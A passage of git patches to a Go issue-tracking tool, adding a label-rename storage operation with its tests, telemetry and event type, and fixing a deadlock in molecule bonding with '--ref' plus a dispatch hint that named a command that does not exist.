err) + } + defer db.Close() + + mock.ExpectBegin() + mock.ExpectQuery(`SELECT issue_id FROM labels WHERE label = \?`). + WithArgs("old"). + WillReturnRows(sqlmock.NewRows([]string{"issue_id"}).AddRow("i1").AddRow("i2")) + // Both rows genuinely inserted: nothing carried newLabel. + mock.ExpectExec(`INSERT IGNORE INTO labels`). + WithArgs("i1", "new", "i2", "new"). + WillReturnResult(sqlmock.NewResult(0, 2)) + mock.ExpectExec(`DELETE FROM labels WHERE label = \? AND issue_id IN`). + WithArgs("old", "i1", "i2"). + WillReturnResult(sqlmock.NewResult(0, 2)) + expectRenameEventScript(mock, 2) + + ctx := context.Background() + tx, err := db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("BeginTx: %v", err) + } + renamed, merged, _, err := renameLabelInPlane(ctx, tx, "labels", "events", "old", "new", "tester") + if err != nil { + t.Fatalf("renameLabelInPlane: %v", err) + } + if renamed != 2 { + t.Errorf("renamed = %d, want 2", renamed) + } + if merged != 0 { + t.Errorf("merged = %d, want 0", merged) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Errorf("unmet expectations: %v", err) + } +} diff --git a/internal/storage/issueops/labels.go b/internal/storage/issueops/labels.go index 4859d08a6..d69b2cc61 100644 --- a/internal/storage/issueops/labels.go +++ b/internal/storage/issueops/labels.go @@ -2,6 +2,7 @@ package issueops import ( "context" + "errors" "fmt" "strings" @@ -238,3 +239,203 @@ func removeLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issue } return RecordVersionInTx(ctx, tx, issueID, actor) } + +// renameLabelPlanes pairs each label table with the event table journaling +// its issues, so RenameLabelInTx sweeps both without hardcoding the pairing +// twice. +var renameLabelPlanes = [2]struct { + labelTable string + eventTable string +}{ + {labelTable: "labels", eventTable: "events"}, + {labelTable: "wisp_labels", eventTable: "wisp_events"}, +} + +// ErrRenameLabelSameName is returned when RenameLabelInTx is asked to rename +// a label to itself. Refused before any write: the merge branch below treats +// every carrier of oldLabel as already carrying newLabel (they are the same +// string), so "insert the merge row, then drop the stale oldLabel row" +// degenerates into "insert a row that already exists via INSERT IGNORE, then +// delete every row carrying this label" -- the label is wiped, not renamed. +// Compared after trimming so incidental leading/trailing whitespace on one +// side does not mask the same no-op; the comparison itself stays +// case-sensitive, matching label identity everywhere else in this store. +var ErrRenameLabelSameName = errors.New("rename label: old and new label are the same") + +// RenameLabelInTx renames a label across every issue and wisp that carries +// it. An issue that already carries newLabel is a merge: the stale oldLabel +// row is dropped rather than raising a duplicate-key error, and merged +// counts the subset of renamed where that happened. oldLabel carried by +// nothing is an honest no-op (renamed, merged both 0, err nil). ids lists +// every touched issue and wisp id, both planes concatenated. Each touched +// durable issue mints one version row (its label set changed); a no-op +// rename mints nothing. oldLabel and +// newLabel equal after trimming is refused with ErrRenameLabelSameName +// rather than treated as a no-op -- see that error's doc for why silently +// proceeding would wipe the label instead of leaving it alone. +func RenameLabelInTx(ctx context.Context, tx DBTX, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + if strings.TrimSpace(oldLabel) == strings.TrimSpace(newLabel) { + return 0, 0, nil, ErrRenameLabelSameName + } + if err := types.CheckFieldLen("label", newLabel); err != nil { + return 0, 0, nil, err + } + for _, plane := range renameLabelPlanes { + r, m, planeIDs, err := renameLabelInPlane(ctx, tx, plane.labelTable, plane.eventTable, oldLabel, newLabel, actor) + if err != nil { + return 0, 0, nil, fmt.Errorf("rename label in %s: %w", plane.labelTable, err) + } + renamed += r + merged += m + ids = append(ids, planeIDs...) + } + return renamed, merged, ids, nil +} + +// renameLabelInPlane sweeps one label table (and its matching event table) +// for oldLabel and returns the touched-id and already-had-newLabel counts. +// +//nolint:gosec // G201: labelTable/eventTable are hardcoded routing constants from renameLabelPlanes ("labels"/"events" or "wisp_labels"/"wisp_events"). +func renameLabelInPlane(ctx context.Context, tx DBTX, labelTable, eventTable, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + oldIDs, err := issueIDsWithLabelInTx(ctx, tx, labelTable, oldLabel) + if err != nil { + return 0, 0, nil, fmt.Errorf("query issues carrying %q: %w", oldLabel, err) + } + if len(oldIDs) == 0 { + return 0, 0, nil, nil + } + // INSERT IGNORE so an issue that already carries newLabel silently no-ops + // here instead of raising a duplicate-key error - this IS the merge. + // + // merged is MEASURED from what the insert actually affected, never + // predicted from a prior SELECT: INSERT IGNORE reports one affected row + // per id it really inserted, so an id whose (issue_id, newLabel) row + // already exists - including one committed by a concurrent AddLabel + // after this transaction's snapshot was taken - contributes zero, and + // len(oldIDs) - inserted is exactly the merge count. The previous + // check-then-insert shape computed merged from a snapshot read of + // newLabel's carriers taken before the insert, so a concurrent + // AddLabel(newLabel) made the reported count schedule-dependent while + // the stored data stayed correct. + inserted := 0 + for start := 0; start < len(oldIDs); start += queryBatchSize { + end := start + queryBatchSize + if end > len(oldIDs) { + end = len(oldIDs) + } + batch := oldIDs[start:end] + placeholders := make([]string, len(batch)) + args := make([]any, 0, len(batch)*2) + for i, id := range batch { + placeholders[i] = "(?, ?)" + args = append(args, id, newLabel) + } + res, err := tx.ExecContext(ctx, fmt.Sprintf( + `INSERT IGNORE INTO %s (issue_id, label) VALUES %s`, + labelTable, strings.Join(placeholders, ",")), args...) + if err != nil { + return 0, 0, nil, fmt.Errorf("insert renamed label: %w", err) + } + n, err := res.RowsAffected() + if err != nil { + return 0, 0, nil, fmt.Errorf("count inserted renamed-label rows: %w", err) + } + inserted += int(n) + } + merged = len(oldIDs) - inserted + // The delete is RESTRICTED to the ids this transaction actually renamed, + // never `WHERE label = ?` alone: an unrestricted delete's blast radius + // depends on the engine's DELETE visibility (a current-read engine could + // remove a row a concurrent AddLabel committed after our snapshot - + // destroying a label this loop never renamed, counted or journaled), + // while the id-scoped form touches exactly the rows the insert above + // accounted for on every engine. A concurrent add of oldLabel to an + // issue outside oldIDs therefore SURVIVES the rename, which is the same + // observable state as that add having happened after this transaction + // committed - the only order-independent reading of the race. + for start := 0; start < len(oldIDs); start += queryBatchSize { + end := start + queryBatchSize + if end > len(oldIDs) { + end = len(oldIDs) + } + batch := oldIDs[start:end] + placeholders := make([]string, len(batch)) + args := make([]any, 0, len(batch)+1) + args = append(args, oldLabel) + for i, id := range batch { + placeholders[i] = "?" + args = append(args, id) + } + if _, err := tx.ExecContext(ctx, fmt.Sprintf( + `DELETE FROM %s WHERE label = ? AND issue_id IN (%s)`, + labelTable, strings.Join(placeholders, ",")), args...); err != nil { + return 0, 0, nil, fmt.Errorf("delete old label rows: %w", err) + } + } + comment := fmt.Sprintf("Renamed label: '%s' to '%s'", oldLabel, newLabel) + // KNOWN COST: this loop is O(len(oldIDs)) SQL round trips, not one batch - + // InsertDerivedEvent does its own dedup SELECT (a real cross-replica + // convergence check, Protocol v0.1 C2.3, not a redundant one this + // transaction could skip: two independently-created rows with identical + // content must land on the same content-derived id) plus an INSERT, and + // RecordEventInTx does its own snapshot SELECT plus an INSERT, and + // RecordVersionInTx re-reads the issue and its dependencies to mint the + // version row - several round trips per touched issue, inside one long + // transaction. On a + // huge label population that lengthens the transaction, which raises the + // odds an optimistic-concurrency retry has to redo the whole rename from + // scratch rather than just its own small write. + // + // Not batched: no batch primitive exists for this shape anywhere in this + // package (issueops), and building one here would be new shared + // infrastructure grown for a single caller rather than a mitigation + // scoped to this fix - AddLabelInTx/RemoveLabelInTx pay the identical + // per-call cost for their one issue today, and this loop is exactly that + // cost repeated once per touched issue. Left as a disclosed limitation. + for _, id := range oldIDs { + if err := InsertDerivedEvent(ctx, tx, eventTable, AuxEvent{ + IssueID: id, + EventType: types.EventLabelRenamed, + Actor: actor, + OldValue: str(oldLabel), + NewValue: str(newLabel), + Comment: str(comment), + }); err != nil { + return 0, 0, nil, fmt.Errorf("rename label: record event for %s: %w", id, err) + } + if err := RecordEventInTx(ctx, tx, EventUpdate, id, actor); err != nil { + return 0, 0, nil, fmt.Errorf("rename label: journal %s: %w", id, err) + } + // Every id here lost its oldLabel row (and gained newLabel unless it + // already carried it), so its label set - part of the durable + // snapshot - changed: mint one version per touched bead, the same + // gate AddLabelInTx/RemoveLabelInTx draw on a row that landed. + // RecordVersionInTx is itself a no-op for wisps and when versioned + // history is disabled, so the wisp plane needs no special case. + if err := RecordVersionInTx(ctx, tx, id, actor); err != nil { + return 0, 0, nil, fmt.Errorf("rename label: version %s: %w", id, err) + } + } + return len(oldIDs), merged, oldIDs, nil +} + +// issueIDsWithLabelInTx returns every issue/wisp id carrying label in the +// given label table (unordered). +// +//nolint:gosec // G201: labelTable is a hardcoded routing constant ("labels" or "wisp_labels"). +func issueIDsWithLabelInTx(ctx context.Context, tx DBTX, labelTable, label string) ([]string, error) { + rows, err := tx.QueryContext(ctx, fmt.Sprintf(`SELECT issue_id FROM %s WHERE label = ?`, labelTable), label) + if err != nil { + return nil, err + } + defer rows.Close() + var ids []string + for rows.Next() { + var id string + if err := rows.Scan(&id); err != nil { + return nil, fmt.Errorf("scan issue id: %w", err) + } + ids = append(ids, id) + } + return ids, rows.Err() +} diff --git a/internal/storage/storage.go b/internal/storage/storage.go index b6463055d..dc66d2cac 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -407,6 +407,19 @@ type Storage interface { RemoveLabel(ctx context.Context, issueID, label, actor string) error GetLabels(ctx context.Context, issueID string) ([]string, error) GetIssuesByLabel(ctx context.Context, label string) ([]*types.Issue, error) + // RenameLabel renames a label across every issue and wisp that carries + // it. An issue that already carries newLabel is a merge (the stale + // oldLabel row is dropped, no error) rather than a duplicate-key + // conflict. renamed is the count of issues and wisps that carried + // oldLabel; merged is the subset that already had newLabel; ids lists + // every touched id, both planes together. oldLabel carried by nothing is + // an honest no-op: renamed and merged are 0, ids is nil, err is nil. + // oldLabel and newLabel equal after trimming is refused with + // issueops.ErrRenameLabelSameName instead of treated as a no-op - the + // merge branch above would otherwise wipe the label instead of leaving + // it alone (every carrier already "has newLabel", so the stale-row drop + // removes every row). + RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) // Work queries GetReadyWork(ctx context.Context, filter types.WorkFilter) ([]*types.Issue, error) diff --git a/internal/storage/uow/notifying.go b/internal/storage/uow/notifying.go index 0a0584e24..d61b68529 100644 --- a/internal/storage/uow/notifying.go +++ b/internal/storage/uow/notifying.go @@ -1289,6 +1289,23 @@ func (u *recordingLabelUC) RemoveLabel(ctx context.Context, issueID, label, acto return nil } +// RenameLabel records one update per touched issue/wisp, mirroring +// HookFiringStore.RenameLabel on the DoltStorage plumbing (both fire on_update +// per id). THE SNAPSHOT IS anyPlane, because RenameLabel sweeps both the +// labels and wisp_labels tables together and the returned ids do not say +// which plane each one belongs to - the same reason CompareAndSetMetadataKey +// and ReleaseIssue above use it. +func (u *recordingLabelUC) RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + renamed, merged, ids, err = u.LabelUseCase.RenameLabel(ctx, oldLabel, newLabel, actor) + if err != nil { + return renamed, merged, ids, err + } + for _, id := range ids { + u.rec.record(opUpdate, u.snap.anyPlane(ctx, id)) + } + return renamed, merged, ids, nil +} + func (u *recordingLabelUC) AddLabels(ctx context.Context, issueID string, labels []string, actor string) error { if err := u.LabelUseCase.AddLabels(ctx, issueID, labels, actor); err != nil { return err diff --git a/internal/telemetry/storage.go b/internal/telemetry/storage.go index 477bf551e..bd11798e6 100644 --- a/internal/telemetry/storage.go +++ b/internal/telemetry/storage.go @@ -390,6 +390,23 @@ func (s *InstrumentedStorage) RemoveLabel(ctx context.Context, issueID, label, a return err } +func (s *InstrumentedStorage) RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + attrs := []attribute.KeyValue{ + attribute.String("bd.label.old", oldLabel), + attribute.String("bd.label.new", newLabel), + } + ctx, span, t := s.op(ctx, "RenameLabel", attrs...) + renamed, merged, ids, err = s.inner.RenameLabel(ctx, oldLabel, newLabel, actor) + if err == nil { + span.SetAttributes( + attribute.Int("bd.result.count", renamed), + attribute.Int("bd.merged.count", merged), + ) + } + s.done(ctx, span, t, err, attrs...) + return renamed, merged, ids, err +} + func (s *InstrumentedStorage) GetLabels(ctx context.Context, issueID string) ([]string, error) { attrs := []attribute.KeyValue{attribute.String("bd.issue.id", issueID)} ctx, span, t := s.op(ctx, "GetLabels", attrs...) diff --git a/internal/types/types.go b/internal/types/types.go index 37dbf345b..725d8a01d 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1682,7 +1682,12 @@ const ( EventDependencyRemoved EventType = "dependency_removed" EventLabelAdded EventType = "label_added" EventLabelRemoved EventType = "label_removed" - EventCompacted EventType = "compacted" + // EventLabelRenamed records a bulk `bd label rename` sweep landing on one + // issue or wisp. old_value/new_value hold the old and new label strings. + // Unlike EventLabelAdded/EventLabelRemoved, one rename produces exactly + // one of these per touched row, never a paired add+remove. + EventLabelRenamed EventType = "label_renamed" + EventCompacted EventType = "compacted" // EventLeaseReclaimed records that a stale lease was reverted to ready by // bd reclaim (dead-worker recovery). old_value is the previous owner. EventLeaseReclaimed EventType = "lease_reclaimed" From 11fa7f5852396fa89b6a0f3eddd59f3c55e920fc Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Tue, 29 Sep 2026 17:05:18 -0700 Subject: [PATCH 246/624] fix(mol): a dispatch hint for a command that does not exist, and a --ref bond that deadlocks (#5759) * fix(mol): print a real dispatch command in mol ready --gated The gate-ready listing ended with "bd sling --mol ". No bd binary has ever had a sling command: sling belongs to the gastown orchestrator (gt sling), and the line was a hardcoded Println with no implementation behind it. Following the hint gives "unknown command". Print the bd-level action instead. The listing already knows each molecule's ready step, so the hint names that step's ID and the assign command that actually dispatches it; agents pick work up by claiming a step, which is what puts a molecule in the hooked status this command filters on. The regression test resolves the printed command against the root command tree, so a future hint cannot name a command that does not exist. * fix(mol): stop a --ref arm from deadlocking the molecule it bonds into bd mol bond --ref gave the spawned arm two relationships to mol at once: ParentID nested it under mol, and AttachToID added a blocking dependency ON mol. Those cannot both be satisfied. The arm waits for mol to close; mol cannot close while it holds an open arm child. bd ready empties out with nothing naming the cause, and the only escape is closing the parent by hand. The documented Christmas Ornament example is exactly this shape -- "bd mol bond mol-worker-arm bd-patrol --ref arm-{{worker_name}}" takes the default sequential bond type, so the primary use of --ref deadlocked. Nesting already attaches the arm, and its dotted ID records it, so the blocking edge is dropped for a nested arm rather than pointed somewhere else. A bond without --ref is untouched: that arm is a sibling, mol closes, and the arm then unblocks, which is satisfiable and stays. A parallel bond never blocked and is likewise unchanged. * fix(mol bond): refuse --ref with --type conditional instead of inverting it Dropping the attachment edge for a nested --ref arm traded a deadlock for lost ordering, which is defensible for a sequential bond but not for a conditional one. DepConditionalBlocks means "B runs only if A fails" (internal/types/types.go), so dropping it does not lose ordering - it inverts the meaning, turning an arm that should almost never run into one that always runs. That is a silent false dispatch, strictly worse than the visible deadlock it replaced. refuseConditionalRefArm now rejects the combination, consulted both from gatherMolBondInput (so --dry-run and the proxied route refuse identically, rather than previewing a bond the real command rejects) and from buildAttachCloneOpts (so a caller that skips flag validation cannot construct the arm either). The drop in buildAttachCloneOpts narrows to DepBlocks, so a future bond type reaching that point is not silently stripped of its edge as well. The sequential case keeps the drop, and the loss is now stated rather than implied: bond's long help says a --ref arm carries no ordering and is ready as soon as it is spawned, and the CHANGELOG entry says the same. The committed docs/cli-reference/mol.md is generated from the tag in docs/cli-docs.pin, so it picks the wording up at the next release regeneration - hand-editing it fails the drift gate. Also from review: the parallel arm's redundant-but-satisfiable DepParentChild edge is now explained rather than merely test-pinned, and `bd mol ready --gated` says which molecule its dispatch example belongs to when more than one is listed. registerMolBondFlags is extracted so a test can build an isolated command instead of mutating the package-level one. Reported-by: bee-ghosttrack Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5 (1M context) * docs(changelog): move this PR's entry under [Unreleased] The 1.3.0 cut renamed the old [Unreleased] block, so the entry this branch added there now merges cleanly into the released [1.3.0] section (#6643). Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * chore(bazel): enumerate the PR's two new cmd/bd test files in go_test srcs gazelle-generated. Both files are untagged (no //go:build), so the bazel go_test target owes their enumeration; the in-package census showed the gap was exactly these two and zero pre-existing untagged gaps. Note make bazel-sync-check exits 0 on the un-synced head, so only the literal make bazel-sync surfaces this. * fix(mol): correct the --ref help, the refusal message and the hint header Review iteration 1 on PR #5759. All four synthesis findings are minor or nit with no gating impact (scorecard 967/850, Required Changes: None); taken because a maintainer commit already exists on this branch (d66096104), so the push is owed either way. Finding 1 (minor) - the new --ref help paragraph asserted "B is nested inside A", which is inverted for the proto+mol order that every --ref example in the same help text uses: for aIsProto && !bIsProto the dispatch passes issueB as mol, so ParentID is B. Rephrased by role, matching the CHANGELOG's own neutral wording, and de-positionalized the parenthetical in the same paragraph, which named A as the container too. Finding 2 (minor) - the conditional + --ref refusal claimed "a nested arm cannot be ordered against the molecule that contains it" from gatherMolBondInput, which runs before operands are resolved and so also refuses mol+mol and proto+proto, where --ref is inert and nothing nests. Reworded to state the nesting rationale as what --ref does where it applies rather than as a claim about the bond in front of the user. Finding 3 (nit) - the ordering-trade comment claimed docs/cli-reference/mol.md already documents the trade. It does not: that page is generated from the release named in docs/cli-docs.pin (v1.2.2), whose source has zero hits for "nested inside". Softened to name the long help as the documented place and mol.md as where it will appear once the pin advances. mol.md is deliberately untouched - hand-writing it would diverge from the pinned generator output and red a currently-green required check. Finding 4 (nit) - "for the first one above" could name a different molecule than the step ID printed beneath it, whenever the first listed molecule has no ready step and a later one does. Both offered arms miss that case (indexing element 0 and dropping the fallback nil-derefs; suppressing the line only when NO molecule has a step leaves the disagreement intact), so this implements the stated intent instead: firstReadyStepID also returns the listing position and the header names it. Deviations, with the measurements behind them: - Finding 2's "leave the nesting rationale on the attach-path error" arm was not taken as a message split. gatherMolBondInput runs at mol_bond.go:104, before the usesProxiedServer() branch, and buildAttachCloneOpts is reached only via bondProtoMolWithSubgraph/bondProtoMolAttachInto downstream of it, so the attach-path string is unreachable from every CLI route; split that way the corrected wording is all any user would see and the rationale would be dead text. One shared, shape-agnostic message keeps both true. Verified from the CLI: `mol bond no-such-a no-such-b --type conditional --ref arm-ace` refuses (rc 1), while the same nonexistent operands without --type conditional reach operand resolution and fail there. - Finding 2's alternative arm (scope the gather-time refusal to the attach shapes) would falsify this PR's own CHANGELOG entry, which states the combination is "refused outright (including under --dry-run and on the proxied route)". - No mol+mol refusal test was added: gatherMolBondInput never resolves operands, so mol+mol and proto+mol are the same input to it and such a test would be vacuous. - Artifact sweep for the inverted claim came back empty: CHANGELOG.md and the PR body already describe the nesting by role ("nested inside its target"), so the A/B inversion existed only in the help paragraph. Tests: the PR's 9 tests plus the new one pass by name (go test ./cmd/bd/ -run 'TestBuildAttachCloneOpts|TestGatherMolBondInput|TestGatedReadyHint' = 10 PASS / 0 FAIL; the full cmd/bd package does not finish). Mutation proof that the new pin is not a duplicate: hardcoding the header position to 1 - the pre-fix meaning - reds only TestGatedReadyHintHeaderNamesTheEntryItPrinted/example_comes_from_a_later_molecule while its sibling subtest and all 9 existing tests stay green. go build ./... and go vet ./cmd/bd/ exit 0. --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 21 +++++ cmd/bd/BUILD.bazel | 2 + cmd/bd/mol_bond.go | 92 +++++++++++++++++-- cmd/bd/mol_bond_ref_attach_test.go | 136 ++++++++++++++++++++++++++++ cmd/bd/mol_ready_gated.go | 29 +++++- cmd/bd/mol_ready_gated_hint_test.go | 134 +++++++++++++++++++++++++++ 6 files changed, 405 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/mol_bond_ref_attach_test.go create mode 100644 cmd/bd/mol_ready_gated_hint_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 547ac33ed..bdd832f5a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -544,6 +544,27 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 and the README snippet — so `bd init` and copy-paste do not re-introduce the prohibition. +- **`bd mol bond --ref` no longer deadlocks the molecule it bonds into, and no + longer accepts `--type conditional`.** A `--ref` arm is nested inside its + target and its hierarchical ID records that, so an ordering edge onto the + target was unsatisfiable in both directions: the arm waited for the molecule + to close, and the molecule could not close while it held an open arm. `bd + ready` went empty with nothing to point at. For a sequential bond (the + default) that edge is now dropped, so the arm carries **no ordering** and is + ready as soon as it is spawned - containment is a nested arm's only + satisfiable relationship to its container. A conditional edge has no such + degradation: it means "run only if the target fails", so dropping it would + run the arm unconditionally, turning a deadlock into a silent false dispatch. + `--ref` with `--type conditional` is therefore refused outright (including + under `--dry-run` and on the proxied route); omit `--ref` to bond a + conditional arm as a sibling, which is satisfiable and keeps its edge. + +- **`bd mol ready --gated` prints a dispatch command that exists.** The hint + named `bd sling`, which has never been a command in this binary, so the one + actionable line in the output could not be run. It now prints `bd assign + `, and says which listed molecule the example belongs + to when more than one is waiting. + - **`bd purge` keeps closed beads a live bead depends on.** A closed bead that a not-done bead depends on through `parent-child`, `tracks` or `blocks` is no longer purged (reported as `live_dependent_skipped`), so a diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index c75f22f04..6a77df6ab 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -892,6 +892,7 @@ go_test( "mol_bond_compound_label_test.go", "mol_bond_gwn_test.go", "mol_bond_proxied_integration_test.go", + "mol_bond_ref_attach_test.go", "mol_bond_test.go", "mol_burn_proxied_integration_test.go", "mol_current_proxied_integration_test.go", @@ -903,6 +904,7 @@ go_test( "mol_last_activity_proxied_integration_test.go", "mol_progress_proxied_integration_test.go", "mol_ready_gated_flag_test.go", + "mol_ready_gated_hint_test.go", "mol_ready_gated_proxied_integration_test.go", "mol_ready_gated_test.go", "mol_show_proxied_integration_test.go", diff --git a/cmd/bd/mol_bond.go b/cmd/bd/mol_bond.go index a19b68527..a3316f820 100644 --- a/cmd/bd/mol_bond.go +++ b/cmd/bd/mol_bond.go @@ -39,6 +39,15 @@ Bond types: parallel - B runs alongside A conditional - B runs only if A fails + With --ref, the spawned proto arm is nested inside the molecule operand + rather than ordered against it - whichever side of the bond that is - so a + sequential --ref arm carries no ordering: it is ready as soon as it is + spawned. Ordering a nested arm against its own container is unsatisfiable + in both directions (the arm waits for the molecule to close; the molecule + cannot close while it holds an open arm). --ref is refused with --type + conditional, which has no safe degradation - omit --ref to bond a + conditional arm as a sibling. + Phase control: By default, spawned protos follow the target's phase: - Attaching to mol (Ephemeral=false) → spawns as persistent (Ephemeral=false) @@ -189,6 +198,9 @@ func gatherMolBondInput(cmd *cobra.Command, args []string) (molBondInput, error) if in.bondType != types.BondTypeSequential && in.bondType != types.BondTypeParallel && in.bondType != types.BondTypeConditional { return in, fmt.Errorf("invalid bond type '%s', must be: sequential, parallel, or conditional", in.bondType) } + if err := refuseConditionalRefArm(in.bondType, in.childRef); err != nil { + return in, err + } varFlags, _ := cmd.Flags().GetStringArray("var") vars, err := parseVarFlags(varFlags) @@ -446,7 +458,38 @@ func bondProtoMolAttachInto(ctx context.Context, w molWriter, protoSubgraph *Tem }, nil } +// refuseConditionalRefArm rejects --ref combined with --type conditional. +// +// A --ref arm is nested inside its target, so an ordering edge onto that +// target can never be satisfied (see buildAttachCloneOpts). A sequential bond +// degrades gracefully: the edge is dropped and the arm carries no ordering. A +// conditional edge means "run only if the target fails", so dropping it would +// turn an arm that should almost never run into one that always runs - a +// silent false dispatch, which is worse than the deadlock it replaced. There +// is no reading of the two flags together that is both safe and useful, so +// refuse rather than guess. +// +// Both gatherMolBondInput (which also covers --dry-run and the proxied route) +// and buildAttachCloneOpts consult this, so a caller that skips flag +// validation cannot construct the arm either. +// +// The message has to read correctly for every operand shape, not just the +// nesting ones. gatherMolBondInput runs before operands are resolved, so this +// also refuses mol+mol and proto+proto - shapes that never receive a childRef +// at all, where --ref is inert and nothing nests. It is therefore phrased as +// what --ref does where it applies rather than as a claim about the bond in +// front of the user. Keep it that way if you reword it. +func refuseConditionalRefArm(bondType, childRef string) error { + if childRef == "" || bondType != types.BondTypeConditional { + return nil + } + return fmt.Errorf("--ref cannot be combined with --type conditional: where --ref nests an arm, a conditional edge onto the arm's own container cannot be satisfied, and dropping that edge would run the arm unconditionally instead of only on failure. Omit --ref to bond a conditional arm as a sibling, or use --type sequential or --type parallel with --ref") +} + func buildAttachCloneOpts(subgraph *TemplateSubgraph, mol *types.Issue, bondType string, vars map[string]string, childRef string, actorName string, ephemeralFlag, pourFlag bool) (CloneOptions, error) { + if err := refuseConditionalRefArm(bondType, childRef); err != nil { + return CloneOptions{}, err + } requiredVars := extractAllVariables(subgraph) var missingVars []string for _, v := range requiredVars { @@ -485,6 +528,34 @@ func buildAttachCloneOpts(subgraph *TemplateSubgraph, mol *types.Issue, bondType if childRef != "" { opts.ParentID = mol.ID opts.ChildRef = childRef + + // A --ref arm is nested INSIDE mol, and its ID already records that. + // Blocking it on mol as well is unsatisfiable in both directions: the + // arm waits for mol to close, and mol cannot close while it holds an + // open arm. Nesting carries the attachment, so the blocking edge is + // dropped rather than deadlocking the molecule it was bonded into. + // + // The arm therefore carries NO ordering relative to mol - it is ready + // as soon as it is spawned. That is a real loss of the "B runs after A + // completes" promise, documented in the place that makes it: this + // command's long help. docs/cli-reference/mol.md is generated from the + // release named in docs/cli-docs.pin, so it will carry the same text + // once that pin advances past this change - do not hand-write it there. + // The loss is the deliberate trade: a nested arm's only satisfiable + // relationship to its container is containment. + // + // Only DepBlocks is dropped. DepConditionalBlocks never arrives here - + // refuseConditionalRefArm above rejects it - and keeping the check + // narrow means a future bond type that does reach this point is not + // silently stripped of its edge as well. + if depType == types.DepBlocks { + opts.AttachToID = "" + opts.AttachDepType = "" + } + // A parallel arm keeps its DepParentChild edge on top of the ParentID + // nesting. The two say the same thing, so the edge is redundant rather + // than wrong - but it is what `bd dep list` reports for every parallel + // arm bonded so far, and it is satisfiable, so it stays. } return opts, nil } @@ -683,14 +754,21 @@ func resolveOrCookToSubgraph(ctx context.Context, s molReader, operand string, v return subgraph, true, nil } +// registerMolBondFlags declares bond's flags on cmd. It exists so a test can +// build an isolated command with the real flag set rather than mutating the +// package-level molBondCmd, whose flag values would then leak between tests. +func registerMolBondFlags(cmd *cobra.Command) { + cmd.Flags().String("type", types.BondTypeSequential, "Bond type: sequential, parallel, or conditional") + cmd.Flags().String("as", "", "Custom title for compound proto (proto+proto only)") + cmd.Flags().Bool("dry-run", false, "Preview what would be created") + cmd.Flags().StringArray("var", []string{}, "Variable substitution for spawned protos (key=value)") + cmd.Flags().Bool("ephemeral", false, "Force spawn as vapor (ephemeral, Ephemeral=true)") + cmd.Flags().Bool("pour", false, "Force spawn as liquid (persistent, Ephemeral=false)") + cmd.Flags().String("ref", "", "Custom child reference with {{var}} substitution (e.g., arm-{{polecat_name}})") +} + func init() { - molBondCmd.Flags().String("type", types.BondTypeSequential, "Bond type: sequential, parallel, or conditional") - molBondCmd.Flags().String("as", "", "Custom title for compound proto (proto+proto only)") - molBondCmd.Flags().Bool("dry-run", false, "Preview what would be created") - molBondCmd.Flags().StringArray("var", []string{}, "Variable substitution for spawned protos (key=value)") - molBondCmd.Flags().Bool("ephemeral", false, "Force spawn as vapor (ephemeral, Ephemeral=true)") - molBondCmd.Flags().Bool("pour", false, "Force spawn as liquid (persistent, Ephemeral=false)") - molBondCmd.Flags().String("ref", "", "Custom child reference with {{var}} substitution (e.g., arm-{{polecat_name}})") + registerMolBondFlags(molBondCmd) molCmd.AddCommand(molBondCmd) } diff --git a/cmd/bd/mol_bond_ref_attach_test.go b/cmd/bd/mol_bond_ref_attach_test.go new file mode 100644 index 000000000..36cf87f3a --- /dev/null +++ b/cmd/bd/mol_bond_ref_attach_test.go @@ -0,0 +1,136 @@ +package main + +import ( + "strings" + "testing" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/types" +) + +func bondSubgraph() *TemplateSubgraph { + root := &types.Issue{ID: "proto-arm", Title: "arm"} + return &TemplateSubgraph{ + Root: root, + Issues: []*types.Issue{root}, + IssueMap: map[string]*types.Issue{root.ID: root}, + } +} + +// A --ref arm is nested under the molecule, so it must not also be blocked by +// it: the arm would wait for the molecule to close while the molecule waits for +// its own open arm, and bd ready goes empty with nothing to point at. +func TestBuildAttachCloneOptsRefArmIsNotBlockedByItsParent(t *testing.T) { + mol := &types.Issue{ID: "bd-patrol", Title: "patrol"} + + opts, err := buildAttachCloneOpts(bondSubgraph(), mol, types.BondTypeSequential, nil, "arm-ace", "tester", false, false) + if err != nil { + t.Fatalf("buildAttachCloneOpts() error = %v", err) + } + + if opts.AttachToID != "" { + t.Errorf("AttachToID = %q, want no blocking attachment for a nested arm", opts.AttachToID) + } + if opts.ParentID != mol.ID { + t.Errorf("ParentID = %q, want %q", opts.ParentID, mol.ID) + } + if opts.ChildRef != "arm-ace" { + t.Errorf("ChildRef = %q, want %q", opts.ChildRef, "arm-ace") + } +} + +// A conditional --ref arm is refused rather than degraded. Dropping a +// "conditional-blocks" edge does not lose ordering, it inverts the meaning: +// the edge says "run only if the molecule fails", so an arm without it runs +// unconditionally. A silent false dispatch is worse than the deadlock the +// sequential case trades away, and there is no safe reading of the two flags +// together, so bd refuses the combination instead of guessing. +func TestBuildAttachCloneOptsConditionalRefArmIsRefused(t *testing.T) { + mol := &types.Issue{ID: "bd-patrol", Title: "patrol"} + + _, err := buildAttachCloneOpts(bondSubgraph(), mol, types.BondTypeConditional, nil, 